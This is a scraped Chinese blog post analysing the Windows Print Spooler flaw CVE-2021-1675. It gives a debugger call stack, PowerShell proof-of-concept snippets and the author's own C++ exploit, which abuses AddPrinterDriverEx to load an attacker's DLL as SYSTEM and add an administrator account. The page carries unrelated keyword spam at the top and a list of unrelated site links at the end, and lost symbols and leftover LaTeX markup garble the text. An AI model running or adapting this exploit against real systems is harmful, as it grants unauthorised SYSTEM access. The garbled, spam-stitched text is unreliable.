当前位置: 首页 > news >正文

北京网站建设公司网站优化资讯制作一个网站需要多长时间

北京网站建设公司网站优化资讯,制作一个网站需要多长时间,网站qq未启用,网站改版汇报漏洞详情 简介 打印机服务提供了添加打印机的接口#xff0c;该接口缺乏安全性校验#xff0c;导致攻击者可以伪造打印机信息#xff0c;在添加新的打印机时实现加载恶意DLL。这造成的后果就是以system权限执行任意代码。 影响版本 windows_10 20h2 windows_10 21h1 win…漏洞详情 简介 打印机服务提供了添加打印机的接口该接口缺乏安全性校验导致攻击者可以伪造打印机信息在添加新的打印机时实现加载恶意DLL。这造成的后果就是以system权限执行任意代码。 影响版本 windows_10 20h2 windows_10 21h1 windows_10 1607 windows_10 1809 windows_10 1909 windows_10 2004 windows_7 sp1 windows_8.1 windows_rt_8.1 windows_server_2008 sp2 windows_server_2008 r2 sp1 x64 windows_server_2012 windows_server_2012 r2 windows_server_2016 windows_server_2019危害等级 8.8 ∣ H I G H \textcolor{BrickRed}{8.8\ |\ HIGH} 8.8 ∣ HIGH 漏洞复现 【环境】 W i n 10 1909 18363.592 x 64 \textcolor{green}{【环境】Win10\ 1909\ 18363.592\ x64} 【环境】Win10 1909 18363.592 x64 POC下载见参考 非管理员权限下直接利用漏洞添加一个管理员账户 漏洞分析 加载任意模块调用栈 # Child-SP RetAddr Call Site 00 0000000000d9c5d8 00007ff861a6a233 ntdll!NtMapViewOfSection0x14 01 0000000000d9c5e0 00007ff861a69f96 ntdll!LdrpMinimalMapModule0x103 02 0000000000d9c6a0 00007ff861a6d5b7 ntdll!LdrpMapDllWithSectionHandle0x1a 03 0000000000d9c6f0 00007ff861a6e608 ntdll!LdrpMapDllNtFileName0x183 04 0000000000d9c7f0 00007ff861a6e360 ntdll!LdrpMapDllFullPath0xe0 05 0000000000d9c980 00007ff861a62536 ntdll!LdrpProcessWork0x74 06 0000000000d9c9e0 00007ff861a622a8 ntdll!LdrpLoadDllInternal0x13e 07 0000000000d9ca60 00007ff861a61764 ntdll!LdrpLoadDll0xa8 08 0000000000d9cc10 00007ff85eb956d0 ntdll!LdrLoadDll0xe4 09 0000000000d9cd00 00007ff8463777c1 KERNELBASE!LoadLibraryExW0x170 0a 0000000000d9cd70 00007ff846377395 winspool!Ordinal2130x4d1 0b 0000000000d9ce20 00007ff8460f603f winspool!Ordinal2130xa5 0c 0000000000d9ce70 00007ff8460f52a5 PrintIsolationProxy!DllUnregisterServer0x103f 0d 0000000000d9cf20 00007ff8462c2bc7 PrintIsolationProxy!DllUnregisterServer0x2a5 0e 0000000000d9cf90 00007ff8462c0a1a localspl!sandbox::SandboxObserver::GetDriverConfigModuleInterface0x27 0f 0000000000d9cfd0 00007ff846255864 localspl!sandbox::DriverConfigModuleAdapter::LoadConfigModule0x8e 10 0000000000d9d030 00007ff84624c3ee localspl!NotifyDriver0x134 11 0000000000d9d0b0 00007ff846252a21 localspl!CompleteDriverUpgrade0x342 12 0000000000d9d3d0 00007ff8462542d4 localspl!WaitRequiredForDriverUnload0x441 13 0000000000d9e360 00007ff8462559cf localspl!InternalAddPrinterDriverEx0xc80 14 0000000000d9e870 00007ff846255292 localspl!SplAddPrinterDriverEx0xef 15 0000000000d9e8d0 00007ff685544caf localspl!LocalAddPrinterDriverEx0xa2 16 0000000000d9e920 00007ff68551fa6e spoolsv!AddPrinterDriverExW0x6f 17 0000000000d9e960 00007ff68551c634 spoolsv!YAddPrinterDriverEx0x2ce 18 0000000000d9e9a0 00007ff860986983 spoolsv!RpcAddPrinterDriverEx0x54 19 0000000000d9e9d0 00007ff8609ea036 RPCRT4!Invoke0x73 1a 0000000000d9ea30 00007ff860947a7c RPCRT4!Ndr64StubWorker0xb56 1b 0000000000d9f0d0 00007ff8609648f8 RPCRT4!NdrServerCallAll0x3c 1c 0000000000d9f120 00007ff86093c951 RPCRT4!DispatchToStubInCNoAvrf0x18 1d 0000000000d9f170 00007ff86093c20b RPCRT4!RPC_INTERFACE::DispatchToStubWorker0x2d1 1e 0000000000d9f250 00007ff86092a86f RPCRT4!RPC_INTERFACE::DispatchToStub0xcb 1f 0000000000d9f2b0 00007ff860929d1a RPCRT4!LRPC_SCALL::DispatchRequest0x31f 20 0000000000d9f390 00007ff860929301 RPCRT4!LRPC_SCALL::HandleRequest0x7fa 21 0000000000d9f490 00007ff860928d6e RPCRT4!LRPC_ADDRESS::HandleRequest0x341 22 0000000000d9f530 00007ff8609269a5 RPCRT4!LRPC_ADDRESS::ProcessIO0x89e 23 0000000000d9f670 00007ff861a7346d RPCRT4!LrpcIoComplete0xc5 24 0000000000d9f710 00007ff861a741c2 ntdll!TppAlpcpExecuteCallback0x14d 25 0000000000d9f760 00007ff861957bd4 ntdll!TppWorkerThread0x462 26 0000000000d9fb20 00007ff861aaced1 KERNEL32!BaseThreadInitThunk0x14 27 0000000000d9fb50 0000000000000000 ntdll!RtlUserThreadStart0x21POC分析 POC主要做两件事 枚举本地Windows x64环境下的所有打印机驱动 if ( $winspool::EnumPrinterDrivers($null, Windows x64, 2, $pAddr, $cbNeeded, [ref]$cbNeeded, [ref]$cReturned) ){$driver [System.Runtime.InteropServices.Marshal]::PtrToStructure($pAddr, [System.Type]$DRIVER_INFO_2)} else {Write-Host [!] failed to get current driver list[System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr)return}添加打印机驱动 $driver_info New-Object $DRIVER_INFO_2$driver_info.cVersion 3$driver_info.pConfigFile $DLL$driver_info.pDataFile $DLL$driver_info.pDriverPath $driver.pDriverPath$driver_info.pEnvironment Windows x64$driver_info.pName $DriverName$pDriverInfo [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($driver_info))[System.Runtime.InteropServices.Marshal]::StructureToPtr($driver_info, $pDriverInfo, $false)if ( $winspool::AddPrinterDriverEx($null, 2, $pDriverInfo, $APD_COPY_ALL_FILES -bor 0x10 -bor 0x8000) ) {if ( $delete_me ) {Write-Host [] added user $NewUser as local administrator} else {Write-Host [] driver appears to have been loaded!}} else {Write-Error [!] AddPrinterDriverEx failed}重点分析添加打印机驱动时参数的设置依据。可以看到攻击者是调用了 A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{AddPrinterDriverEx} AddPrinterDriverEx函数添加的打印机驱动这个函数其实是打印机服务添加打印机驱动接口的一个存根。该函数原型说明如下 BOOL AddPrinterDriverEx(_In_ LPTSTR pName,_In_ DWORD Level,_Inout_ LPBYTE pDriverInfo,_In_ DWORD dwFileCopyFlags );pName - 指向以 null 结尾的字符串的指针该字符串指定应安装驱动程序的服务器的名称。 如果此参数为 NULL则该函数将在本地计算机上安装驱动程序。 Level - pDriverInfo 指向的结构的版本。 此值可以是 2、3、4、6 或 8。 pDriverInfo - 根据Level的取值该参数对应的结构有 Level结构体2DRIVER_INFO_23DRIVER_INFO_34DRIVER_INFO_46DRIVER_INFO_68DRIVER_INFO_82-6对应的结构体都是8对应的结构体的一部分本次漏洞利用只需要2对应的那部分。 typedef struct _DRIVER_INFO_2 {DWORD cVersion; // 为其编写驱动程序的操作系统版本。 支持的值为 3。LPTSTR pName; // 指向以 null 结尾的字符串的指针该字符串指定驱动程序的名称 (例如“QMS 810”)。LPTSTR pEnvironment; // 指向以 null 结尾的字符串的指针该字符串指定 (为其编写驱动程序的环境例如 Windows x86、Windows IA64 和 Windows x64) 。LPTSTR pDriverPath; // 指向以 null 结尾的字符串的指针指定包含设备驱动程序 (的文件的文件名或完整路径和文件名例如“c:\drivers\pscript.dll”) 。LPTSTR pDataFile; // 指向以 null 结尾的字符串的指针该字符串指定包含驱动程序数据的文件名或完整路径和文件名 (例如“c\drivers\Qms810.ppd”) 。LPTSTR pConfigFile; // 指向以 null 结尾的字符串的指针该字符串指定设备驱动程序配置.dll (的文件名或完整路径和文件名例如“c:\drivers\Pscrptui.dll”) 。 } DRIVER_INFO_2, *PDRIVER_INFO_2;dwFileCopyFlags - 含义如下 值含义APD_COPY_ALL_FILES添加打印机驱动程序并复制 printer-driver 目录中的所有文件。 使用此选项忽略文件时间戳。APD_COPY_FROM_DIRECTORY使用 在 DRIVER_INFO_6 结构中指定的完全限定文件名添加打印机驱动程序。 此标志是 ORed 与其他复制标志之一。 如果设置了此标志则如果DRIVER_INFO_6结构指定存在的文件不存在则 AddPrinterDriverEx 将失败。 无需将文件复制到系统的打印机驱动程序目录。 请参阅备注。 Windows 2000 不支持此标志。APD_COPY_NEW_FILES添加打印机驱动程序并复制打印机驱动程序目录中比当前使用的任何相应文件更新的文件。 此标志模拟 AddPrinterDriver 的行为。APD_STRICT_DOWNGRADE仅当打印机驱动程序目录中的所有文件都早于当前使用的任何相应文件时才添加打印机驱动程序。APD_STRICT_UPGRADE仅当打印机驱动程序目录中的所有文件都比当前使用的任何相应文件更新时才添加打印机驱动程序。 从上面的调用栈中了解到该函数会发送RPC请求打印机服务对应的接口 R p c A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{RpcAddPrinterDriverEx} RpcAddPrinterDriverEx。 要想成功添加打印机驱动中间要通过两处关键检查。 S p l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{SplAddPrinterDriverEx} SplAddPrinterDriverEx内部 I n t e r n a l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{InternalAddPrinterDriverEx} InternalAddPrinterDriverEx内部 最终会加载位于DRIVER_INFO_2结构体中pConfigFile字段指向的模块。 漏洞利用 为了完成漏洞利用首先枚举当前系统的打印机驱动选取一个驱动路径填充到DRIVER_INFO_2的pDriverPath字段中。然后参数dwFileCopyFlags填0x8014即可绕过上面分析中的两处检查最终到达漏洞点。 我的EXP代码 #include iostream #include windows.hvoid Exploit() {const char* pName Hack;const char* pVenomDll Your venmo dll;const char* pEnvironment Windows x64;PDRIVER_INFO_2A pDrvInfo NULL;DRIVER_INFO_2A drvInfo;PBYTE pBuffer NULL;DWORD cbNeed 0;DWORD nDrv;BOOL bRet;// 枚举本地所有Windows x64的打印机bRet EnumPrinterDriversA(NULL,(LPSTR)pEnvironment,2,NULL,cbNeed,cbNeed,nDrv);pBuffer new BYTE[cbNeed];if (pBuffer NULL)goto cleanup;bRet EnumPrinterDriversA(NULL,(LPSTR)pEnvironment,2,pBuffer,cbNeed,cbNeed,nDrv);if (!bRet)goto cleanup;pDrvInfo (PDRIVER_INFO_2A)pBuffer;for (DWORD i 0; i nDrv; i){printf([] DriverName: %s\n DriverPath: %s\n,pDrvInfo[i].pName,pDrvInfo[i].pDriverPath);}drvInfo.cVersion 3;drvInfo.pDriverPath pDrvInfo[0].pDriverPath;drvInfo.pConfigFile (LPSTR)pVenomDll;drvInfo.pDataFile (LPSTR)pVenomDll;drvInfo.pEnvironment (LPSTR)pEnvironment;drvInfo.pName (LPSTR)pName;bRet AddPrinterDriverExA(NULL, 2,(PBYTE)drvInfo, APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | 0x8000);if (!bRet){printf([-] ErrorCode: 0x%x\n, GetLastError());}cleanup:if (pBuffer)delete[] pBuffer; }int main() {Exploit();return 0; }参考 [1] https://github.com/calebstewart/CVE-2021-1675 [2] https://nvd.nist.gov/vuln/detail/CVE-2021-1675
http://www.zqtcl.cn/news/371251/

相关文章:

  • 免费的十大免费货源网站全国领先网站制作
  • 农业网站建设方案 ppt中国有什么网站做跨境零售
  • 网站文章结构变更怎么做301如何自己制作自己的网站
  • 网站网站平台建设方案免费制作桥架app
  • 杭州网站界面设计招网站建设销售
  • 网站开发 流程图广州优化seo
  • 夫妻工作室网站建设品牌建设的内容
  • php搭建网站后台建设银行网站如何修改账单地址
  • 网站域名查询系统关键词语有哪些
  • 专业金融网站建设wordpress匿名投稿
  • 生产做网站表带的制造厂家百度文库个人登录
  • 丰都网站建设费用成都品牌包装设计
  • 建设项目安监备案网站免费学生网页制作成品代码
  • wordpress默认登陆地址修改廊坊百度关键词优化怎么做
  • 免费下载策划书的网站外贸网站 域名后缀
  • 网站导航条做信息网站需要什么
  • 网站推广朋友圈文案嵩县网站建设
  • 网站建设实践考试试题app运营推广策划方案
  • django网站开发源码阿里邮箱登录
  • 机床网站建设网站关键词优化怎么做
  • 全网营销一站式推广wordpress新文章加new
  • 做网站哪个系统最安全长沙简界网络科技有限公司
  • 象山县城乡和住房建设局网站上海公司牌照最新价格
  • 复旦学霸张立勇做的网站开一个公司需要多少钱
  • 专业建设公司网站软件技术培训
  • 网站建设_聊城笑话小网站模板html
  • 智能建造师威海网站优化推广
  • 做网站如何选域名长沙房价2020最新价格
  • seo网站推广济宁一建建设集团有限公司
  • 高端大气网站设计欣赏有意思网站推荐